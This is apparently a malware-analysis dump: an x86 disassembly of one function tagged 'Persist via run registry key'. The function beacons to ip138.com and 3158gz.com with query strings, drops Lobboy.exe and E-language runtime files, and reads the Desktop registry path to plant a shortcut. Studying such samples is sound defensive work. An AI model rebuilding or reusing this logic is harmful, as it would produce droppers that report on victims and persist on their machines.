Function at 0x41f9b2
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
push 0
push 0
push 0xffffffffffffffff
push 8
push 0x1601cfc8
push 0x52019178
call fcn.0042c221
add esp, 0x18
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.0041ee90
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41fa26
push ebx
call fcn.0042c209
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.WS2_32.dll_connect
push 0
push str.http:__city.ip138.com_city0.asp
push 1
mov eax, 2
mov ebx, 0x4779d0
call fcn.0042c22d
add esp, 0x10
mov dword [ebp - 0x14], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x41fa63
mov eax, 0x4a77e3
push eax
push 1
mov ebx, 0x42dd20
call fcn.0042c20f
add esp, 0x10
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41fa89
push ebx
call fcn.0042c209
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41fa9d
push ebx
call fcn.0042c209
add esp, 4
pop eax
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4afa9d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x41fad2
mov eax, 0x4a77d0
push eax
push 4
mov ebx, 0x42cdf0
call fcn.0042c20f
add esp, 0x34
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fadd qword [0x4a77f3]
fstp qword [ebp - 0x24]
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4afa9f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x41fb2b
mov eax, 0x4a77d0
push eax
push 4
mov ebx, 0x42cdf0
call fcn.0042c20f
add esp, 0x34
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
fstp qword [ebp - 0x30]
fld qword [ebp - 0x30]
fsub qword [0x4afaa1]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
call fcn.004025a5
push 0x80000301
push 0
push eax
fld qword [ebp - 0x24]
call fcn.004025a5
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x41fb86
mov eax, 0x4a77d0
push eax
push 3
mov ebx, 0x42cc00
call fcn.0042c20f
add esp, 0x28
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41fbb0
push ebx
call fcn.0042c209
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push 0xffffffffffffffff
push 8
push 0x1601917b
push 0x52019178
call fcn.0042c227
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xffffffffffffffff
push 8
push 0x1601cfd1
push 0x5201cfcc
call fcn.0042c227
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x713ac0]
push 0x4a7f20
push dword [ebp - 0x18]
push 0x4afaa9
push dword [0x713a8c]
push 0x4aa3c6
push dword [ebp - 0x14]
push 0x4aa356
push dword [0x713abc]
push str.http:__3158gz.com_zh456.asp_q
mov ecx, 0xa
call fcn.004010d6
add esp, 0x28
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41fc37
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41fc47
push ebx
call fcn.0042c209
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x41fc5a
mov eax, 0x4a77d0
push eax
push 1
mov eax, 2
mov ebx, 0x4779d0
call fcn.0042c22d
add esp, 0x10
mov ebx, eax
test ebx, ebx
je 0x41fc81
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x41fc91
push ebx
call fcn.0042c209
add esp, 4
push 0
push 0x4a77d0
push 0xffffffffffffffff
push 8
push 0x1601ce92
push 0x52019178
call fcn.0042c221
add esp, 0x18
push 0
push 0x4a77d0
push 0xffffffffffffffff
push 8
push 0x1601917b
push 0x52019178
call fcn.0042c221
add esp, 0x18
push 0
push 0x4a77d0
push 0xffffffffffffffff
push 8
push 0x1601cfd1
push 0x5201cfcc
call fcn.0042c221
add esp, 0x18
push dword [ebp - 0xc]
push 0x4a7f20
push dword [0x713adc]
push dword [ebp - 4]
push 0x4af8df
push dword [0x713a8c]
push str.w456
push dword [0x713abc]
push str.http:__3158gz.com_zh2.asp_q
mov ecx, 9
call fcn.004010d6
add esp, 0x24
mov dword [ebp - 0x14], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x41fd37
mov eax, 0x4a77d0
push eax
push 1
mov eax, 2
mov ebx, 0x4779d0
call fcn.0042c22d
add esp, 0x10
mov ebx, eax
test ebx, ebx
je 0x41fd5e
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41fd6e
push ebx
call fcn.0042c209
add esp, 4
push 0
mov ebx, 0x42c890
call fcn.0042c20f
add esp, 4
mov dword [ebp - 0x14], eax
push 0x4a77e1
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41fdab
push ebx
call fcn.0042c209
add esp, 4
mov eax, dword [0x713ab8]
push eax
push dword [ebp - 0x18]
call fcn.0040156b
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41fdda
push ebx
call fcn.0042c209
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x420549
push 0
mov ebx, 0x42c890
call fcn.0042c20f
add esp, 4
mov dword [ebp - 0x14], eax
push 0x4afac1
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41fe21
push ebx
call fcn.0042c209
add esp, 4
push str.BmpOperate.fnr
push dword [0x713ab8]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x1c], eax
push 1
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004205aa
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41fe60
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x41fe70
push ebx
call fcn.0042c209
add esp, 4
push 0
mov ebx, 0x42c890
call fcn.0042c20f
add esp, 4
mov dword [ebp - 0x14], eax
push 0x4afae0
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41fead
push ebx
call fcn.0042c209
add esp, 4
push str.eAPI.fne
push dword [0x713ab8]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x1c], eax
push 1
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004205aa
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41feec
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x41fefc
push ebx
call fcn.0042c209
add esp, 4
push 0
mov ebx, 0x42c890
call fcn.0042c20f
add esp, 4
mov dword [ebp - 0x14], eax
push str.hosts
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41ff39
push ebx
call fcn.0042c209
add esp, 4
push 0x4af887
push dword [0x713ab8]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x1c], eax
push 1
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004205aa
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41ff78
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x41ff88
push ebx
call fcn.0042c209
add esp, 4
push 0
mov ebx, 0x42c890
call fcn.0042c20f
add esp, 4
mov dword [ebp - 0x14], eax
push 0x4afafa
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41ffc5
push ebx
call fcn.0042c209
add esp, 4
push str.internet.fne
push dword [0x713ab8]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x1c], eax
push 1
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004205aa
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x420004
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x420014
push ebx
call fcn.0042c209
add esp, 4
push 0
mov ebx, 0x42c890
call fcn.0042c20f
add esp, 4
mov dword [ebp - 0x14], eax
push 0x4afb15
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x420051
push ebx
call fcn.0042c209
add esp, 4
push str.krnln.fnr
push dword [0x713ab8]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x1c], eax
push 1
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004205aa
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x420090
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4200a0
push ebx
call fcn.0042c209
add esp, 4
push 0
mov ebx, 0x42c890
call fcn.0042c20f
add esp, 4
mov dword [ebp - 0x14], eax
push str._shell.fne
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4200dd
push ebx
call fcn.0042c209
add esp, 4
push str.shell.fne
push dword [0x713ab8]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x1c], eax
push 1
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004205aa
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42011c
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x42012c
push ebx
call fcn.0042c209
add esp, 4
push 0
mov ebx, 0x42c890
call fcn.0042c20f
add esp, 4
mov dword [ebp - 0x14], eax
push str._sock.fne
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x420169
push ebx
call fcn.0042c209
add esp, 4
push str.sock.fne
push dword [0x713ab8]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x1c], eax
push 1
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004205aa
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4201a8
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4201b8
push ebx
call fcn.0042c209
add esp, 4
push 0
mov ebx, 0x42c890
call fcn.0042c20f
add esp, 4
mov dword [ebp - 0x14], eax
push str._spec.fne
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4201f5
push ebx
call fcn.0042c209
add esp, 4
push str.spec.fne
push dword [0x713ab8]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x1c], eax
push 1
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004205aa
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x420234
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x420244
push ebx
call fcn.0042c209
add esp, 4
push 0
mov ebx, 0x42c890
call fcn.0042c20f
add esp, 4
mov dword [ebp - 0x14], eax
push str._vclbase.fne
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x420281
push ebx
call fcn.0042c209
add esp, 4
push str.vclbase.fne
push dword [0x713ab8]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x1c], eax
push 1
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004205aa
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4202c0
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4202d0
push ebx
call fcn.0042c209
add esp, 4
push 0
mov ebx, 0x42c890
call fcn.0042c20f
add esp, 4
mov dword [ebp - 0x14], eax
push 0x4afb7e
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x42030d
push ebx
call fcn.0042c209
add esp, 4
push str.game456.ico
push dword [0x713ab8]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x1c], eax
push 1
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004205aa
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42034c
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x42035c
push ebx
call fcn.0042c209
add esp, 4
push 0
mov ebx, 0x42c890
call fcn.0042c20f
add esp, 4
mov dword [ebp - 0x14], eax
push str.Lobboy.exe
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x420399
push ebx
call fcn.0042c209
add esp, 4
push 0x4aa3f7
push dword [0x713ab8]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x1c], eax
push 1
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004205aa
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4203d8
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4203e8
push ebx
call fcn.0042c209
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_FoldersDesktop
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x42e880
call fcn.0042c20f
add esp, 0x28
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x42042f
push ebx
call fcn.0042c209
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push str.456
push dword [ebp - 0x10]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x14], eax
push str.lobboy.exe
push dword [0x713ab8]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x18], eax
push 0
mov ebx, 0x42c890
call fcn.0042c20f
add esp, 4
mov dword [ebp - 0x1c], eax
push 0x4afb7e
push dword [ebp - 0x1c]
mov ecx, 2
call fcn.004010d6
add esp, 8
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4204a3
push ebx
call fcn.0042c209
add esp, 4
mov dword [ebp - 0x24], 0
push 0
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x28], 0
push 0
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.0042060e
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4204f9
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x420509
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x420519
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x420529
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x420539
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x420549
push ebx
call fcn.0042c209
add esp, 4
push 0
push 1
push 0xffffffffffffffff
push 8
push 0x1601ce26
push 0x52019178
call fcn.0042c221
add esp, 0x18
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x420576
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x420586
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x420596
push ebx
call fcn.0042c209
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4205a6
push ebx
call fcn.0042c209
add esp, 4
mov esp, ebp
pop ebp
ret